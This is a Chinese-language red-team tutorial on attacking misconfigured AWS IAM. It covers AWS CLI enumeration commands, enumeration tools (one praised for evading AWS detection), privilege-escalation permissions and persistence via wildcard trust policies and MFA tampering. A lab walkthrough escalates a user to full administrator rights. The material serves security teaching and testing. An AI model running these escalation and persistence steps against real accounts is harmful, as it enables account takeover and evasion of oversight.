Professional Documents
Culture Documents
AWS云安全及红队攻击技术分享2 1
AWS云安全及红队攻击技术分享2 1
AWS云安全及红队攻击技术分享2 1
AWS云安全及红队攻击技术分享2-1
第二章第一节 IAM—身份访问管理
Written by 六对半雨翼
转载请注明
前言
本节将介绍AWS IAM,以及当IAM 配置不当时的攻击利用,并会有3个攻击场景举例。注意,
现在的举例是处于白盒状态,即在知道明确policy的情况下去利用。之后在第三章会阐述在完
全黑盒情况下的攻击利用。本节内容需要用到AWS CLI,如果有不清楚的可以翻看第一章第
二节。
IAM 的主要功能包括:
通过 IAM,你可以实现最小特权原则,确保每个用户、服务或实体都只具有完成其工作所需
的最低权限。这有助于提高 AWS 资源的安全性和合规性,并防止意外或恶意的资源访问和操
作。
枚举
枚举需要的相关权限如下:
1 / 13
AWS云安全及红队攻击技术分享2-1
2
- iam:ListRoles
3
4 - iam:ListUsers
5
6 - iam:ListGroups
7
- iam:ListGroupsForUser
8
9
- iam:ListAttachedUserPolicies
10
11 - iam:ListAttachedRolePolicies
12
13 - iam:ListAttachedGroupPolicies
14
- iam:ListUserPolicies and iam:GetUserPolicy
15
16 - iam:ListGroupPolicies and iam:GetGroupPolicy
17
18 - iam:ListRolePolicies and iam:GetRolePolicy
19
20
手动枚举 - Users
# 列出账户中所有实体(用户、组、角色)的权限策略及其关联的权限。
aws iam get-account-authorization-details
# 获取用户列表
aws iam list-users
# 将返回指定 IAM 用户的元数据,包括用户的用户名、用户 ID、创建日期、附加的权
限策略以及其他相关信息。
aws iam get-user --user-name <username>
# 获取指定 IAM 用户内联策略
aws iam list-user-policies --user-name <username>
aws iam get-user-policy --user-name <username> --policy-name
<policyname>
# 获取指定 IAM 用户附加策略
aws iam list-attached-user-policies --user-name <username>
手动枚举 - Groups
# 列出用户组
aws iam list-groups
2 / 13
AWS云安全及红队攻击技术分享2-1
# 列出特定 IAM 用户所属的 IAM 用户组
aws iam list-groups-for-user --user-name <username>
手动枚举 - Role
#列出所有的role
aws iam list-roles
# 获取指定Role 关联的所有权限策略
aws iam list-role-policies --role-name <rolename>
手动枚举 - Policies
# 获取策略
aws iam list-policies --only-attached
3 / 13
AWS云安全及红队攻击技术分享2-1
aws iam get-policy-version --policy-arn
<arn:aws:iam::975426262029:policy/list_apigateways> --version-id
<VERSION_X>
# 列出授予指定服务命名空间(<svc>)访问权限的身份(<identity>)所关联的所有
IAM 策略。
aws iam list-policies-granting-service-access --arn <identity> --
service-namespaces <svc>
手动枚举 - Misc
# 获取密码策略
aws iam get-account-password-policy
sts:AssumeRole
sts:AssumeRole 是 AWS Identity and Access Management (IAM) 中的一项权限,用于允许用
户或实体扮演(assume)另一个 IAM 角色的身份。
4 / 13
AWS云安全及红队攻击技术分享2-1
请注意,为了使用 sts:AssumeRole 权限,实体需要具有调用 AssumeRole API 操作的权限,
并且被扮演角色也需要允许被扮演的操作。此外,还需要考虑角色信任策略和权限策略的配
置,以确保安全且符合预期的行为。
枚举工具
https://github.com/carlospolop/bf-aws-permissions 这个工具会在之后的黑盒测试章节详细讲
解
cd git/bf-aws-permissions
bash bf-aws-permissions.sh -p "<profile-name>"
https://github.com/andresriancho/enumerate-iam
cd git/enumerate-iam
python3 enumerate-iam.py --region us-east-1 --access-key ACCESS_KEY --
secret-key SECRET_KEY --session-token SESSION_TOKEN
# 检查所有标识 "worked!"的项 (比如: "iam.list_users() worked!")
https://github.com/carnal0wnage/weirdAAL
cd git/weirdAAL
#AKSK及token需要export 设置进环境变量,这个工具不能用aws cli自带的配置文
件,但是可以规避aws各种检测工具
python3 weirdAAL.py -m ec2_describe_instances -t ec2test
python3 weirdAAL.py -m iam_list_users -t iamtest
python3 weirdAAL.py -m recon_all -t MyTarget
权限提升
对AWS的权限提升有10多种IAM权限,例如:
iam:CreatePolicyVersion
iam:SetDefaultPolicyVersion
iam:CreateAccessKey
iam:CreateLoginProfile | iam:UpdateLoginProfile
iam:UpdateAccessKey
iam:CreateServiceSpecificCredential |
iam:ResetServiceSpecificCredential
iam:AttachUserPolicy || iam:AttachGroupPolicy
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) |
iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
5 / 13
AWS云安全及红队攻击技术分享2-1
iam:ResyncMFADevice
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
iam:UpdateOpenIDConnectProviderThumbprint,
iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
其中比较常用的有如下这些:
iam:CreatePolicyVersion
这个权限可以用来创建一个新版本的策略作为默认版本,并赋予更多的权限。
iam:CreateAccessKey
为了冒充其他用户而创建密钥(每个用户最多2个)。
iam:UpdateLoginProfile
修改已登录到控制台的用户的密码
iam:UpdateAssumeRolePolicy, sts:AssumeRole
更新假设assume role策略,并进行assume
如果想查看更多IAM提权信息,可以访问 https://cloud.hacktricks.xyz/pentesting-cloud/aws-
pentesting/aws-privilege-escalation/aws-iam-privesc
后渗透
ConFusEd dEPuTy 当一个账户 A 信任账户 B,然后账户 B 信任账户 C,这种情况可能会导
致一个攻击者在账户 C 中利用信任关系链,从而访问账户 A。而这也是AWS云渗透中的横向
移动的一种。
下面的策略就能很好的防护这个问题。
{
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
6 / 13
AWS云安全及红队攻击技术分享2-1
"Principal": {
"AWS": "Example Corp's AWS Account ID"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "12345"
}
}
}
}
权限维持
IAM 可能是设置某种持久性的最常见途径之一。主要包括:
将受控用户添加到特权组
创建访问密钥(新用户或所有用户的)
向受控用户/组授予额外权限(附加策略或内联策略)
禁用 MFA/添加你自己的 MFA 设备
创建一个角色链切换(Role Chain Juggling)的情况(更多关于这个在 STS 持久性方面
的内容)。
具体策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": [
"*",
"arn:aws:iam::123213123123:root"
]
},
"Action": "sts:AssumeRole"
}
]
}
7 / 13
AWS云安全及红队攻击技术分享2-1
审计帐户的推荐权限
以下权限授予元数据的各种读取访问权限:
arn:aws:iam::aws:policy/SecurityAudit
arn:aws:iam::aws:policy/job-function/ViewOnlyAccess
codebuild:ListProjects
config:Describe*
cloudformation:ListStacks
logs:DescribeMetricFilters
directconnect:DescribeConnections
dynamodb:ListTables
攻击场景
Read Policies
详细的查询附加策略的方法如下:
1. 获取自身的username
2. 查询这个username的附加策略名
3. 查询这个策略的版本
4. 利用 策略名和版本号查出具体策略内容
💀
┌──(root kali)-[~/test/aws]
└─# aws sts get-caller-identity --profile test1 //这条命令相当于
cmdline中输入了whoami
{
"UserId": "AIDAW5WOOIPSZAXSZJAUB",
"Account": "476100576229",
"Arn": "arn:aws:iam::476100576229:user/iam-lab"
}
💀
┌──(root kali)-[~/test/aws]
└─# aws iam list-attached-user-policies --user-name iam-lab --profile
test1
{
"AttachedPolicies": [
{
"PolicyName": "iam_lab_1",
"PolicyArn":
"arn:aws:iam::476100576229:policy/iam_lab_1_start"
}
8 / 13
AWS云安全及红队攻击技术分享2-1
]
}
💀
┌──(root kali)-[~/test/aws/rds]
└─# aws iam list-policy-versions --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --profile test1
{
"Versions": [
{
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2024-02-17T17:50:27+00:00"
}
]
}
💀
┌──(root kali)-[~/test/aws]
└─# aws iam get-policy-version --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --version-id v1 --
profile test1
{
"PolicyVersion": {
"Document": {
"Statement": [
...
]
}
}
}
如果需要查询内联策略的话:
下文会举例几个IAM配置不当导致可以攻击的路径:
9 / 13
AWS云安全及红队攻击技术分享2-1
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
💀
┌──(root kali)-[~/test/aws]
└─# aws iam create-policy-version --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --policy-document
file:////root/tools/aws/policy.json --set-as-default --profile test1
#如果没有返回报错信息,则表示执行成功了。
💀
#查看上传的策略,发现v2版本已经是是默认版本的策略了
┌──(root kali)-[~/test/aws]
└─# aws iam list-policy-versions --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --profile test1
{
"Versions": [
{
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2024-01-27T18:21:43+00:00"
},
{
"VersionId": "v1",
"IsDefaultVersion": false,
"CreateDate": "2024-01-27T10:56:21+00:00"
}
]
}
10 / 13
AWS云安全及红队攻击技术分享2-1
这时候你已经拥有了所有权限。
💀
┌──(root kali)-[~/test/aws]
└─# aws iam set-default-policy-version --policy-arn
arn:aws:iam::476100576229:policy/iam_lab_1_start --version-id v2 --
profile test1
iam:AttachUserPolicy
一旦拥有了 iam:AttachUserPolicy 策略后,可以把admin的策略附加给自己
升级权限
💀
┌──(root kali)-[~/test/aws]
└─# aws iam attach-user-policy --user-name iam-lab --policy-arn
"arn:aws:iam::aws:policy/AdministratorAccess" --profile test1
其中策略模板如下所示,它授予用户扮演该角色的权限:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
添加扮演角色能力
11 / 13
AWS云安全及红队攻击技术分享2-1
💀
┌──(root kali)-[~/test/aws]
└─# aws iam update-assume-role-policy --role-name iam-lab-3-target --
policy-document file:///root/test/aws/policy_iam_lab3.json --profile
test1
policy_iam_lab3.json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "arn:aws:iam::476100576229:user/iam-lab-3-
start-point"
}
}
]
}
这样,只要和iam-lab-3-start-point 这个角色有信任关系的,他均可扮演。
后续
下一节将进入本次分享的第二章AWS服务利用的第二节,介绍AWS服务利用:STS。
AWS红队攻击技术等干货分享,请关注MS08067安全实验室 公众号,或者加入知识星球
AWS云安全训练营 【MS08067】 来和我们一起交流学习。
微信公众号:
12 / 13
AWS云安全及红队攻击技术分享2-1
加入星球:
扫码进交流群:
13 / 13